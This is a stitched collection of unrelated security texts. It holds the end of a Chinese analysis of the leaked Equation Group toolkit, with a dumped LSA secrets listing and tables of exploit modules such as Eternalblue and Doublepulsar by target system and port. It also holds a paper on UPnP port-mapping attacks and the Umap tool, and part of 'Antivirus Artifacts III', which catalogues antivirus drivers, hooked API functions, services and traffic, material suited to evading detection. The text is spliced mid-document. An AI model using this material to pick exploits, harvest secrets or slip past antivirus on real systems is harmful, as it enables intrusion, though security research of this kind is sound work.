7e 26 05 0c | . . . . . Q & . . N G . ~ & . . 4e c7 ee 4b 2b d6 03 2d 7b 8e 4d 0b b3 3b 62 dd | N . . K + . . - { . M . . ; b . 3e d5 29 b0 09 95 0f 6f 36 73 17 93 19 b3 56 76 | > . ) . . . . o 6 s . . . . V v f4 e7 ba 73 29 d0 c3 90 3c bf 18 6b ed 24 fa 13 | . . . s ) . . . < . . k . $ . . 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | . . . . . . . . . . . . . . . . 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | . . . . . . . . . . . . . . . . 00 00 00 00 00 00 00 00 00 00 00 00 | . . . . . . . . . . . . ------------------------------------------------------------------------ Secret : L$RTMTIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588 Value : 00 d0 3a 2b 52 ac d8 01 | . . : + R . . . ------------------------------------------------------------------------ Secret : L$TermServLiceningSignKey-12d4b7c8-77d5-11d1-8c24-00c04fa3080d Value : ------------------------------------------------------------------------ Secret : L$TermServLicensingExchKey-12d4b7c8-77d5-11d1-8c24-00c04fa3080d Value : ------------------------------------------------------------------------ Secret : L$TermServLicensingServerId-12d4b7c8-77d5-11d1-8c24-00c04fa3080d Value : ------------------------------------------------------------------------ Secret : L$TermServLicensingStatus-12d4b7c8-77d5-11d1-8c24-00c04fa3080d Value : ------------------------------------------------------------------------ Secret : L${6B3E6424-AF3E-4bff-ACB6-DA535F0DDC0A} Value : 88 a8 11 1a 97 93 db 78 1d 98 84 19 83 97 72 c2 | . . . . . . . x . . . . . . r . f5 bf f8 98 20 fb d6 4b d1 7e 88 4b f1 1c 4b b4 | . . . . . . K . ~ . K . . K . f9 0d 69 97 a0 44 83 64 52 5d ec fb 2f 61 84 0a | . . i . . D . d R ] . . / a . . 75 b0 22 68 13 df 96 db | u . " h . . . . ------------------------------------------------------------------------ Secret : SAC Value : 02 00 00 00 | . . . . ------------------------------------------------------------------------ Secret : SAI Value : 02 00 00 00 | . . . . ------------------------------------------------------------------------ Secret : SCM:{148f1a14-53f3-4074-a573-e1ccd344e1d0} Value : 00 00 | . . ------------------------------------------------------------------------ Secret : SCM:{3D14228D-FBE1-11D0-995D-00C04FD919C1} Value : 32 00 30 00 52 00 56 00 3a 00 49 00 51 00 21 00 | 2 . 0 . R . V . : . I . Q . ! . 73 00 5f 00 51 00 34 00 25 00 47 00 00 00 | s . _ . Q . 4 . % . G . . . ------------------------------------------------------------------------ Secret : _SC_Alerter Value : ------------------------------------------------------------------------ Secret : _SC_ALG Value : ------------------------------------------------------------------------ Secret : _SC_aspnet_state Value : ------------------------------------------------------------------------ Secret : _SC_Dhcp Value : ------------------------------------------------------------------------ Secret : _SC_Dnscache Value : ------------------------------------------------------------------------ Secret : _SC_LicenseService Value : ------------------------------------------------------------------------ Secret : _SC_LmHosts Value : ------------------------------------------------------------------------ Secret : _SC_MSDTC Value : ------------------------------------------------------------------------ Secret : _SC_RpcLocator Value : ------------------------------------------------------------------------ Secret : _SC_RpcSs Value : ------------------------------------------------------------------------ Secret : _SC_stisvc Value : ------------------------------------------------------------------------ 因为操作麻烦,暂不演示了。 Exploit exploit就是漏洞的列表,简单说明见下表。 模块 漏洞 影响系统 默认端口 Easypi IBM Lotus Notes 漏洞 Windows NT, 2000 ,XP, 2003 3264 Easybee MDaemon WorldClient电子 邮件服务器漏洞 WorldClient 9.5, 9.6, 10.0, 10.1 Eternalblue SMBv2漏洞 MS17010 Windows XP32,Windows Server 2008 R232/64,Windows 732/64 139/445 Doublepulsar SMB和NBT漏洞 Windows XP32, Vista, 7, Windows Server 2003, 2008, 2008 R2 139/445 Eternalromance SMBv1漏洞 MS17010和 NBT漏洞 Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2 139/445 Eternalchampion SMB和NBT漏洞 Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2, 2012, Windows 8 SP0 139/445 Eternalsynergy SMB和NBT漏洞 Windows 8, Windows Server 2012 139/445 Explodingcan IIS6.0远程利用漏 洞 Windows Server 2003 80 Secret : _SC_TlntSvr Value : ------------------------------------------------------------------------ Secret : _SC_WebClient Value : ------------------------------------------------------------------------ Command completed successfully 模块 漏洞 影响系统 默认端口 Emphasismine IMAP漏洞 IBM Lotus Domino 6.5.4, 6.5.5, 7.0, 8.0, 8.5 143 Ewokfrenzy IMAP漏洞 IBM Lotus Domino 6.5.4, 7.0.2 143 Englishmansdentist SMTP漏洞 25 Erraticgopher RPC漏洞 Windows XP SP3, Windows 2003 445 Eskimoroll kerberos漏洞 Windows 2000, 2003, 2003 R2, 2008, 2008 R2 88 Eclipsedwing MS08067漏洞 Windows 2000, XP, 2003 139/445 Educatedscholar MS09050漏洞 Windows vista, 2008 445 Emeraldthread SMB和NBT漏洞 Windows XP, 2003 139/445 Zippybeer SMTP漏洞 445 Esteemaudit RDP漏洞 Windows XP, Windows Server 2003 3389 ImplantConfig 这些配置信息,用来生成Beacon,但是这个版本下,已经改用GUI来生成,这里就不折腾了。 总结 到此为止,基本上将Windows平台的Payloads关系理顺,这样可以在一个整体框架下分析,梳 理其中的关系,理解其体系结构,操作逻辑。 根据样本分析的信息,这些样本有了很长的捕获时间,也就是说这个平台运行了很长时间,里面 的模块的完成度也比较高。 从代码的耦合度和风格来看,这个平台应该是个python下的命令行界面,后来还增加了Java Swing的GUI操作界面。 这些代码比较庞杂,经过很多公司,很多人的不懈努力,才慢慢捋顺,我尽可能把涉及到的文 章,添加到参考列表中。如果您发现自己的文章被引用,但是木有说明,请通知我添加。 在操作过程中,这个工具有支持gs脚本进行自动化的信息收集,并且Beacon支持Proxy方法,可 以作为进一步的支点,完成整个渗透的过程。 参考  [分享]NSA工具fb.py eternalblue和doublepulsar模块测试-二进制漏洞-看雪论坛-安全社 区|安全招聘|bbs.pediy.com  DoublePulsar A Very Sophisticated Payload for Windows SecPod Blog  Defense in depth: DoublePulsar | Sumo Logic  Analyzing the DOUBLEPULSAR Kernel DLL Injection Technique FSecure Blog  090928401445.pdf (venustech.com.cn)  The Equation Group’s post-exploitation tools DanderSpritz and more) Part 1 Kudelski Security Research  Windows 远程漏洞利用工具总览分析 – 绿盟科技技术博客 (nsfocus.net)  方程式组织DanderSpritz工具测试环境研究 - FreeBuf网络安全行业门户  初识 Fuzzbunch FreeBuf网络安全行业门户  https://danderspritz.com  x0rz/EQGRP_Lost_in_Translation: Decrypted content of odd.tar.xz.gpg, swift.tar.xz.gpg and windows.tar.xz.gpg (github.com)  NSA DanderSpiritz测试指南——木马生成与测试 3gstudent Good in study, attitude and health  Introducing: DanderSpritz_Lab. Build fully functional DanderSpritz… | by Francisco Donoso | Medium  johnbergbom/PeddleCheap: Pcaps for PeddleCheap and implant communication + script for interpreting and decrypting pcaps. (github.com)  “方程式组织”攻击SWIFT服务提供商EastNets事件复盘分析报告 (antiy.cn)  blog/NSA方程式工具利用与分析.md at master · sherlly/blog (github.com)  Killsuit_Research_01.pdf (f-secure.com) 
pdf
Universal plug and play (UPnP) mapping attacks Daniel Garcia Abstract Universal Plug and Play is a popular method for NAT traversal used by common household devices. This document explores the different techniques attackers can use to exploit port mapping services of UPnP/IGD devices on WAN ports. It also details a tool called Umap that can do manual port-mapping(WAN to LAN, WAN to WAN), nat- traversal and SOCKSv4 proxy service that automatically maps to UPnP devices. Devices with WAN ports allowing UPnP actions are the minority, but still a big threat. Introduction Universal Plug and Play(UPnP) is a technology developed by the UPnP Forum in 1999, after funding mainly by Microsoft. The goal set by the UPnP forum, at that time, was to allow devices to connect seamlessly and simplify network implementations. The only problem with this goal is that it is inherently insecure. A secure system can't be plug and play, it needs to ask questions and validate information. This is exactly one of the main problems in UPnP, as it lacks any form of authentication. To worsen the situation, control points are sometimes configured to accept requests from the LAN and WAN side of the device. The control points are URL's where the SOAP requests are directed for the execution of actions in UPnP. The most common actions used are AddPortMapping and DeletePortMapping, used for the port mapping of devices wanting to traverse the NAT. UPnP Steps 0. Addressing: Interaction with the addressing methods used by the devices. It also establishes rules for devices that are unable to get an address through DHCP. 1. Discovery: Discovery and announcement of the devices using SSDP. The devices send multicast search requests using HTTPU. Control points respond with HTTPU packets that specify a location for the XML description file. 2. Description: After the discovery of the XML description file location, the device downloads the XML to discover the different services and actions that the device has available. 3. Control: Through the description process, the device learns vital information to interact with the control point. At this point it sends SOAP requests(actions) to the specified control points to execute the different functions on the control point. This is where the actual execution of the actions like AddPortMapping and DeletePortMapping happen. 4. Eventing: Control points listen to changes in devices 5. Presentation: The referral to an HTML-based user interface for controlling and/or viewing the device status. Vulnerabilities The first problem reported for UPnP was a Denial of Service attack reported by Ken from FTUSecurity and applied to the Microsoft Windows 98/ME/XP stack. Afterwards eEye published an advisory for a buffer overflow attack, also on the Microsoft stack. In 2003 Björn Stickler published an information disclosure advisory for the Netgear FM114P, the information disclosure was based on using the GetUserName action of UPnP. Then in 2006 Armijn Hemel reported the vulnerability on remote users being able to use UPnP to forward packets on external hosts. He also published his findings on the www.upnp-hacks.org site, one of the best sources of UPnP hacking information up to date. This flaw highlighted by Armijn is what Umap relies on for the port mapping. The main workings of Umap rely on the “AddPortMapping” and “DeletePortMapping” actions in the UPnP protocol. They are meant to be used by devices on a LAN that want to traverse a NAT. Unfortunately, these control points are also available on the WAN interfaces of the devices, allowing attackers to add a port map from the external WAN IP to any host desired. The attacker can map a port on the external IP and forward that traffic to another external host. The attacker can also map external ports on the WAN IP to internal hosts behind the NAT of the device. This allows the attackers to scan for hosts inside the NAT, forward traffic to external hosts and forward traffic to internal hosts. Some routers, have an open control point by default. In fact, some routers keep accepting UPnP requests after disabling UPnP WAN requests. There are many problems besides port mapping: information disclosure, command execution and DoS. For example, another problem that is less intrusive is the disclosure of information regarding the device. On average the minimum information you can get from UPnP IGD devices on the WAN side are the MAC address, serial number and device model. This information could be used by attackers as an identifier to locate modems on dynamic IP pools or just to target. Umap Umap is designed to work in different modes: – Scanner for UPnP devices with exposed WAN control points – SOCKSv4 proxy that forwards traffic through devices with exposed control points – Scanner/mapper of internal hosts behind a NAT of a device with exposed control points – Manual TCP/UDP mapping of exposed control points There is not a lot of PoC on UPnP publicly available. A clever exploit that sends UPnP commands through the execution of javascript on the victim's browser was created by GNUCitizen. There is also a tool available named Miranda by SecuriTeam. Its pretty good and works well manipulating UPnP devices to execute actions. This tool, however, is designed for LAN use only as it relies on SSDP and multicast for the discovery of UPnP devices, which makes a lot of sense since the UPnP protocol v1.0 states that it is the standard way of discovering UPnP devices. Umap, on the other hand, skips this step and simply tries to fetch the XML descriptions of the devices. Relying on the Unicast part of the UPnP transaction makes it suitable for scanning UPnP on WAN scenarios. It relies on a database of common locations and ports for XML description files on UPnP devices. After it fetches those description files it tries to execute the AddPortMapping and DeletePortMapping actions. For the internal network scanning, it tries to guess the internal IP set by the device and scans each host for a group of common ports or the ports specified by argument. Flow diagram on SOCKSv4 mode Flow diagram on scanner mode Negative aspects of UPnP mapping There are many aspects on UPnP mapping that are not favorable. The biggest impact is performance when using other routers. Most UPnP devices are residential gateways/CPEs that have a very limited upload bandwidth. Another factor that affects performance greatly is the unpredictability of the different UPnP stacks on executing the actions for the mapping. Most vendors cap the amount of port mappings in the stack, limiting the amount of mappings. Some devices only allow, 10 mappings at a given time, which lowers the performance of UPnP mapping in heavy connection scenarios like web-browsing. In terms of the noise made by the attack, some devices actively log the port mappings with the source IP of the request. Unfortunately, residential users do not care/read the logs of their devices. The operators that own the lines for the devices could implement centralized logging solutions which could allow some kind of mitigation for the problem. Mitigations The mitigation falls down to two elements: Operators and Users. Users can mitigate by reconfiguring their devices to disallow WAN traffic to a UPnP control point. Some IGD devices only allow enabling/disabling UPnP services, without the ability to indicate if you want to receive WAN traffic to the UPnP control point. Disabling UPnP completely is sometimes troublesome, some devices require UPnP for NAT traversal. Operators can mitigate either by blocking WAN requests to client devices or by deploying the devices with base configurations that disable the UPnP WAN requests. Using base configuration packages is a better solution because some UPnP stacks rely on port 80 for the transmission of UPnP SOAP requests. Blocking WAN traffic could block user management interfaces for the devices. Disabling UPnP totally is a nightmare, because a lot of devices use UPnP to traverse. Gaming consoles are the perfect example of devices that need UPnP for better performance. The only reason I would recommend disabling UPnP is if you have a stack that keeps accepting WAN requests even if you specify that you don't want WAN requests. Affected devices I have scanned different IP pools around the world looking for different stacks of UPnP devices. During a 1 week period I discovered more than 150,000 devices, just by scanning random DSL IP pools. The speedtouch stack is by far the most common. There may be many other devices vulnerable on-line, but I don't think there has been a lot of research around that subject. Manufacturer Model Version Linksys WRT54GX < 4.30.5 Edimax BR-6104K < 3.21 Sitecom WL-153 < 1.39 Speedtouch/Alcatel/Thomson 5x6 < 6.2.29 Thomson TG585 v7 < 7.4.3.2
pdf
ANTI-VIRUS ARTIFACTS III // By ethereal__vx 1 Antivirus Artifacts III Table of Contents Topic Page Introduction 3 Avira 4 - 7 F-Secure 8 - 10 Norton 11 - 15 TrendMicro 16 - 18 WebRoot 19 - 22 BitDefender 23 - 27 MalwareBytes 28 - 30 Adaware 31 - 32 AVAST 33 - 37 Dr. Web 38 - 40 Kaspersky 41 - 43 Conclusion 44 2 Antivirus Artifacts III Welcome to Antivirus Artifacts III. The Antivirus Artifacts series so far has focused exclusively on mnemonic artifacts: drivers, API hooks, or processes which may be present. This third entry identifies registry artifacts from the AV product as well as services. New AVs have been added to the collection: Adaware, Dr. Web, AVAST , Kaspersky. Note: due to the size of the registry artifacts retrieved they will not be listed in this paper. Registry dumps for HKEY_LOCAL_MACHINE, HKEY_CURRENT_CONFIG, HKEY_CLASSES_ROOT, HKEY_USERS, and HKEY_CURRENT_USER can be viewed on my GitHub. https://github.com/D3VI5H4/Antivirus-Artifacts/tree/main/Registry%20Data Summary of Antivirus Artifacts I: The most common method to determine if an anti-virus product or EDR system is in place is using the WMIC and performing a basic query against the Windows Security Center namespace. wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed courtesy of Sam Denty from StackOverflow This method will work in most scenarios. The problem presented here is that this will only return a string if the anti-virus product, or the EDR system, has chosen to register itself in the Windows Security Center namespace. If the product has not registered itself this query will fail. Knowing we are dependent on a security product to register itself I have decided to go down a different path. Summary of Antivirus Artifacts II: This release is to act as an amendment to the original paper by diving deeper into antivirus products and their operations by documenting drivers loaded into the Windows kernel as well as listing the file system filters in place. Note: all data listed and found is the result of a clean installation with default configuration. As data from the antivirus were discovered there were fluctuations in web traffic. All web traffic listed was discovered from the antivirus at run-time. In the event you decide to review any of the products listed in this paper note you may get different results based on your geographical location or activity being performed by the antivirus product. 3 Antivirus Artifacts III Avira Parent Directory C:\Program Files (x86)\Avira\ Binaries present: Name Description Sub directory Avira.ServiceHost.exe Avira Service Host Launcher Avira.Systray.exe Avira Launcher Avira.OptimizerHost.exe Avira Optimizer Host Optimizer Host Avira.VpnService.exe VpnService VPN Avira.SoftwareUpdater.ServiceHost.exe Avira Updater Service Host Software Updater Avira.Spotlight.Service.exe Avira Security Launcher avguard.exe Antivirus Host Framework Service Antivirus avshadow.exe Anti vir Shadow copy Service Antivirus protectedservice.exe Avira Protected Antimalware Service Antivirus avipbb.sys Avira Driver for Security Enhancement C:\Windows\System32\Drivers\ avkmgr.sys Avira Manager Driver C:\Windows\System32\Drivers\ avgntflt.sys Avira Minifilter Driver C:\Windows\System32\Drivers\ avdevprot.sys Avira USB Feature Driver C:\Windows\System32\Drivers\ avusbflt.sys Avira USB Filter Driver C:\Windows\System32\Drivers\ avnetflt.sys Avira WFP Network Driver C:\Windows\System32\Drivers\ In-memory modules present: Name Description Sub Directory Avira.SystemSpeedUp.UI.ShellExtension.dll Avira.SystemSpeedUp.UI.ShellExtension.dll System SpeedUp 4 Antivirus Artifacts III Functions Hooked: N/A N/A N/A Minifilters Present: Driver Altitude Type avipbb.sys 367600 FSFilter Activity Monitor avgntflt.sys 320500 FSFilter Anti-Virus Antivirus Driver Request avgntflt.sys IRP_MJ_CREATE avgntflt.sys IRP_MJ_CLEANUP avgntflt.sys IRP_MJ_WRITE avgntflt.sys IRP_MJ_SET_INFORMATION avgntflt.sys IRP_MJ_SET_SECURITY avgntflt.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION avgntflt.sys IRP_MJ_FLUSH_BUFFERS avgntflt.sys IRP_MJ_FILE_SYSTEM_CONTROL [continued below] 5 Antivirus Artifacts III Web Traffic: Protocol Remote Address Local Port Remote Port TCP 35.157.123.32 64359 443 TCP 18.196.164.37 64546 443 TCP 35.186241.51 64536 443 TCP 18.157.205.1 64540 80 TCP 18.157.205.1 64541 443 TCP 104.19.148.8 64542 443 TCP 172.217.167.232 64543 443 TCP 13.35.221.216 64544 443 TCP 13.35.221.216 64545 443 TCP 172.217.167.206 64547 443 TCP 52.86.179.151 64548 443 TCP 74.125.24.157 64549 443 TCP 172.217.167.196 64550 443 TCP 172.217.167.195 64551 443 [continued below] 6 Antivirus Artifacts III Services: Name Description Startup Type Path Avira Service Host Hosts multiple Avira Services within one Windows service. Automatic \Launcher\Avira.ServiceHos t.exe Avira Optimizer Host Hosts multiple Avira optimization services within one Windows service. Automatic \Optimizer Host\Avira.OptimizerHost.e xe AviraPhantomVPN Avira Phantom VPN Automatic \VPN\Avira.VpnService.exe Avira Updater Service Support service for Avira Software Updater Automatic \SoftwareUpdater\Avira.Sof twareUpdater.ServiceHost.e xe Avira Security Avira Security Automatic \Security\Avira.Spotlight.Se rvice.exe Avira Mail Protection Offers permanent protection against viruses and malware for email clients with the Avira search engine. Automatic \Antivirus\avmailc7.exe Avira Protected Service Launch Avira's anti-malware service as a protected service. Automatic \Antivirus\ProtectedService. exe Avira Real Time Protection Offers permanent protection against viruses and malware with the Avira search engine. Automatic \Antivirus\avguard.exe Avira Scheduler Service to schedule Avira Antivirus jobs & updates Automatic \Antivirus\sched.exe Avira Web Protection Offers permanent protection against viruses & malware for web browsers with the Avira Search Engine Automatic \Antivirus\avwebg7.exe 7 Antivirus Artifacts III FSecure Parent Directory C:\Program Files(x86)\F-Secure\Anti-Virus\ Binaries present: Name Description Sub directory fshs.sys DG 64-bit kernel module Ultralight\ulcore\%ld\ fsulgk.sys F-Secure Gatekeeper 64 bit Ultralight\ulcore\%ld\ nif2s64.sys F-Secure NIF2 Core Driver N/A fshoster32.exe F-Secure plugin hosting service N/A fsorsp64.exe F-Secure ORSP Service 32-bit (Release) Ultralight\ulcore\%ld\ fshoster64.exe F-Secure plugin hosting service Ultralight\ulcore\%ld\ fsulprothoster.exe F-Secure plugin hosting service Ultralight\ulcore\%ld\ In-memory modules present: Name Description Sub Directory spapi64.dll F-Secure Scanning API 64-bit Ultralight\ulcore\%ld\ fsamsi64.dll F-Secure AMSI Client Ultralight\ulcore\%ld\ fs_ccf_ipc_64.dll Inter-process communication library Ultralight\ulcore\%ld\ Functions Hooked: N/A N/A N/A 8 Antivirus Artifacts III Minifilters Present: Driver Altitude Type fshs.sys 388222 FSFilter Activity Monitor fshs.sys 388221 FSFilter Activity Monitor fsatp.sys 388220 FSFilter Activity Monitor fsgk.sys 322000 FSFilter Anti-Virus Antivirus Driver Request fsulgk.sys IRP_MJ_CREATE fsulgk.sys IRP_MJ_CLEANUP fsulgk.sys IRP_MJ_WRITE fsulgk.sys IRP_MJ_SET_INFORMATION fsulgk.sys IRP_MJ_SET_SECURITY fsulgk.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION Web Traffic: Protocol Remote Address Local Port Remote Port TCP 34.240.57.157 50256 443 TCP 23.199.50.97 50264 443 TCP 18.210.194.134 50310 80 TCP 18.210.194.134 50311 80 9 Antivirus Artifacts III Services: Name Description Startup Type Path F-Secure Hoster F-Secure DLL Hoster Service Automatic \Anti-Virus\fshoster3 2.exe F-Secure Hoster Restricted F-Secure DLL Hoster Service Automatic \Anti-Virus\fshoster3 2.exe --service --namespace default --id 2 F-Secure UltraLight Hoster F-Secure UltraLight Hoster Automatic \Ultralight\ulcore\16 07432682\fshoster64 .exe --service --namespace ul_default F-Secure UltraLight Network Hoster - Automatic \Ultralight\ulcore\16 07432682\fshoster64 .exe --service --namespace ul_default --id 2 F-Secure UltraLight ORSP Client F-Secure UltraLight ORSP Client Automatic \Ultralight\ulcore\16 07432682\fsorsp64.e xe F-Secure UltraLight Protected Hoster - Automatic \Ultralight\ulcore\16 07432682\fsulprotho ster.exe" --service --namespace ul_default --id 5 10 Antivirus Artifacts III Norton Parent Directory C:\Program Files\Norton Internet Security\ Binaries present: Name Description Sub directory NortonSecurity.exe NortonSecurity Engine\%ld nsWscSvc.exe NortonSecurity WSC Service Engine\%ld SYMEFASI64.sys Symantec Extended File Attributes C:\Windows\System32\Drivers\NGCx64\%ld SymEvnt.sys Symantec Eventing Platform NortonData\%ld\SymPlatform SYMEVENT64x86.sys Symantec Event Library C:\Windows\System32\Drivers\ SRTSPX64.sys Symantec Auto Protect C:\Windows\System32\Drivers\NGCx64\%ld SRTSP.sys Symantec Auto Protect C:\Windows\System32\Drivers\NGCx64\%ld In-memory modules present: Name Description Sub Directory symamsi.dll Symantec AMSI Provider Engine\%ld ccVrTrst.dll Symantec Trust Validation Engine 64bit Engine\%ld ccSet.dll Symantec Settings Manager Engine Engine\%ld ccLib.dll Symantec Library Engine\%ld EFACli64.dll Symantec Extended File Attributes Engine\%ld ccIPC.dll Symantec ccIPC Engine Engine\%ld IPSEng32.dll IPS Script Engine DLL ProgramFile\NortonSecurity\NortonData\..\ 11 Antivirus Artifacts III Functions Hooked KERNELBASE.DLL VirtualAllocEx CreateFileMappingW CreateFileMappingNumaW CreateFileW MapViewOfFile VirtualProtect HeapCreate VirtualAlloc MapViewOfFileEx CreateRemoteThreadEx WriteProcessMemory VirtualProtectEx NTDLL.DLL RtlAddVectoredExceptionHandler RtlRemoveVectoredExceptionHandler LdrLoadDll RtlCreateHeap NtSetInformationProcess NtMapViewOfSection NtWriteVirtualMemory NtCreateSection NtProtectVirtualMemory NtCreateFile NtCreateProcess NtCreateThreadEx NtCreateUserProcess KiUserExceptionDispatcher N/A KERNEL32.DLL CreateFileMappingA SetProcessDEPPolicy VirtualAlloc MapViewOfFile CreateFileMappingW VirtualProtect HeapCreate MapViewOfFileEx CreateRemoteThread VirtualAllocEx VirtualProtectEx WriteProcessMemory WinExec N/A N/A [continued below] 12 Antivirus Artifacts III Minifilters Present: Driver Altitude Type symefasi.sys 260610 FSFilter Content Screener SRTSP.sys 329000 FSFilter Anti-Virus symevnt.sys 365090 FSFilter Activity Monitor bhdrvx64.sys 365100 FSFilter Activity Monitor symevnt.sys 365090 FSFilter Activity Monitor Antivirus Driver Request eeCtrl64.sys IRP_MJ_CREATE eeCtrl64.sys IRP_MJ_CLEANUP eeCtrl64.sys IRP_MJ_SET_INFORMATION BHDrvx64.sys IRP_MJ_CREATE BHDrvx64.sys IRP_MJ_WRITE BHDrvx64.sys IRP_MJ_CLEANUP BHDrvx64.sys IRP_MJ_SET_INFORMATION BHDrvx64.sys IRP_MJ_SET_SECURITY BHDrvx64.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION BHDrvx64.sys IRP_MJ_FILE_SYSTEM_CONTROL BHDrvx64.sys IRP_MJ_DIRECTORY_CONTROL SymEvnt.sys IRP_MJ_CREATE SymEvnt.sys IRP_MJ_WRITE SymEvnt.sys IRP_MJ_SET_INFORMATION SymEvnt.sys IRP_MJ_FILE_SYSTEM_CONTROL SymEvnt.sys IRP_MJ_SHUTDOWN SymEvnt.sys IRP_MJ_LOCK_CONTROL 13 Antivirus Artifacts III Antivirus Driver Request SRTSP64.SYS IRP_MJ_CREATE SRTSP64.SYS IRP_MJ_CLEANUP SRTSP64.SYS IRP_MJ_WRITE SRTSP64.SYS IRP_MJ_VOLUME_MOUNT SRTSP64.SYS IRP_MJ_PNP SRTSP64.SYS IRP_MJ_SET_INFORMATION SRTSP64.SYS IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION SRTSP64.SYS IRP_MJ_RELEASE_FOR_SECTION_SYNCHRONIZATION SRTSP64.SYS IRP_MJ_FILE_SYSTEM_CONTROL SRTSP64.SYS IRP_MJ_SHUTDOWN SRTSP64.SYS IRP_MJ_DEVICE_CONTROL SYMEFASI64.SYS IRP_MJ_CREATE SYMEFASI64.SYS IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION SYMEFASI64.SYS IRP_MJ_SHUTDOWN SYMEFASI64.SYS IRP_MJ_WRITE SYMEFASI64.SYS IRP_MJ_CLEANUP SYMEFASI64.SYS IRP_MJ_CLOSE SYMEFASI64.SYS IRP_MJ_FILE_SYSTEM_CONTROL SYMEFASI64.SYS IRP_MJ_DEVICE_CONTROL SYMEFASI64.SYS IRP_MJ_PNP SYMEFASI64.SYS IRP_MJ_SET_INFORMATION Web Traffic: Protocol Remote Address Local Port Remote Port TCP 52.234.240.1 59882 443 14 Antivirus Artifacts III Services: Name Description Startup Type Path Norton Security Norton Security Automatic \Engine\%ld\NortonSecurity.exe Norton WSC Service Norton WSC Service Automatic \Engine\%ld\nsWscSvc.exe 15 Antivirus Artifacts III Trend Micro Parent Directory C:\Program Files\TrendMicro Binaries present: Name Description Sub directory coreFrameworkHost.exe Trend Micro Anti-Malware Solution AMSP uiWatchDog.exe Trend Micro Client Session Agent Monitor UniClient uiSeAgnt.exe Client Session Agent UniClient uiWinMgr.exe Trend Micro Client Main Console Titanium Tmsalntance64.exe Trend Micro Browser Exploit Detection Engine AMSP AMSPTelemetryService.exe Trend Micro Anti-Malware Solution AMSP tmeyes.sys TrendMicro Eyes driver Module C:\Windows\System32\Drivers\ TMUMH.sys Trend Micro UMH Driver x64 C:\Windows\System32\Drivers\ tmusa.sys Trend Micro Osprey Scanner Driver C:\Windows\System32\Drivers\ tmnciesc.sys Trend Micro NCIE Scanner C:\Windows\System32\Drivers\ TMEBC64.sys Trend Micro early boot driver C:\Windows\System32\Drivers\ tmeevw.sys Trend Micro EagleEye Driver (VW) C:\Windows\System32\Drivers\ In-memory modules present: Name Description Sub Directory TmUmEvt64.dll Trend Micro User-Mode Hook Event Module \System32\tmumh\20019\AddOn\8.55.0.1018 tmmon64.dll Trend Micro UMH Monitor Engine \System32\tmumh\20019 TmAMSIProvider64.dll Trend Micro AMSI Provider Module \System32\TmAMSI TmOverlayIcon.dll Trend Micro Folder Shield Shell Extension Titanium 16 Antivirus Artifacts III Functions Hooked KERNELBASE.DLL CreateFileA CreateFileW LoadLibraryExW CreateFileMappingW LoadLibraryExA CreateRemoteThreadEx VirtualAlloc MapViewOfFile VirtualProtect HeapCreate WriteProcessMemory VirtualProtectEx LoadLibraryA LoadLibraryW N/A KERNEL32.DLL CreateFileMappingA N/A N/A NTDLL.DLL RtlCreateHeap LdrUnloadDll LdrUnloadDll NtMapViewOfSection NtUnmapViewOfSection NtContinue NtCreateSection NtProtectVirtualMemory NtCreateFile NtSetContextThread N/A N/A Minifilters Present: Driver Altitude Type tmeyes.sys 328520 FSFilter Anti-Virus 17 Antivirus Artifacts III Antivirus Driver Request tmeyes.sys IRP_MJ_CREATE tmeyes.sys IRP_MJ_READ tmeyes.sys IRP_MJ_WRITE tmeyes.sys IRP_MJ_CLEANUP tmeyes.sys IRP_MJ_SET_INFORMATION tmeyes.sys IRP_MJ_FILE_SYSTEM_CONTROL tmeyes.sys IRP_MJ_VOLUME_MOUNT tmeyes.sys IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION tmeyes.sys IRP_MJ_SET_SECURITY Web Traffic: Protocol Remote Address Local Port Remote Port TCP 104.108.237.54 58495 443 TCP 23.35.33.60 58672 443 Services: Name Description Startup Type Path Amsp Trend Micro Solution Platform Automatic AMSP\coreServiceSh ell.exe AMSPTLM Trend Micro Activity Data Service Automatic AMSP\AMSPTelemet ryService.exe 18 Antivirus Artifacts III WebRoot Parent Directory C:\Program Files\WebRoot Binaries present: Name Description Sub directory WRSA.exe WebRoot Secure Anywhere WRSA.exe WRSkyClient.x64.exe WebRoot Secure Anywhere Core WRCoreService.x64.ex e WebRoot Secure Anywhere Core Service Core WRCore.x64.sys WebRoot Secure Anywhere Core WRkrn.sys WebRoot Secure Anywhere Core In-memory modules present: Name Description Sub Directory WRusr.dll WebRoot Secure Anywhere C:\Windows\System32\ WRusr.dll Webroot SecureAnywhere C:\Windows\SysWOW64\ Functions Hooked: ADVAPI32.DLL OpenSCManagerW OpenServiceW OpenSCManagerA StartServiceW ControlService CreateServiceA CreateServiceW DeleteService OpenServiceA StartServiceA WmiExecuteMethodW N/A 19 Antivirus Artifacts III USER32.DLL PostThreadMessageA PostMessageA SendMessageA SendMessageTimeoutA SetWindowTextA CreateWindowExA SetWindowsHookExA DrawTextExW CreateWindowExW PostMessageW SendMessageW SetWindowTextW PostThreadMessageW SendMessageTimeoutW SetWindowsHookExW SetWinEventHook SendMessageCallbackW SendNotifyMessageW ExitWindowsEx MessageBoxTimeoutW SendMessageCallbackA KERNELBASE.DLL OutputDebugStringA CreateProcessInternalW N/A NTDLL.DLL NtWaitForSingleObject NtDeviceIoControlFile NtRequestWaitReplyPort NtOpenProcess NtMapViewOfSection NtTerminateProcess NtDelayExecution NtWriteVirtualMemory NtOpenEvent NtAdjustPrivilegesToken NtQueueApcThread NtCreateEvent NtCreateSection NtCreateThread NtProtectVirtualMemory NtTerminateThread NtWaitForMultipleObjects NtSetValueKey NtAlpcConnectPort NtAlpcCreatePort NtAlpcCreatePortSection NtAlpcCreateSectionView NtAlpcSendWaitReceivePort NtAssignProcessToJobObject NtConnectPort NtCreateMutant NtCreatePort NtCreateSemaphore NtCreateThreadEx NtDeleteKey NtDeleteValueKey NtMakeTemporaryObject NtOpenMutant NtOpenSemaphore 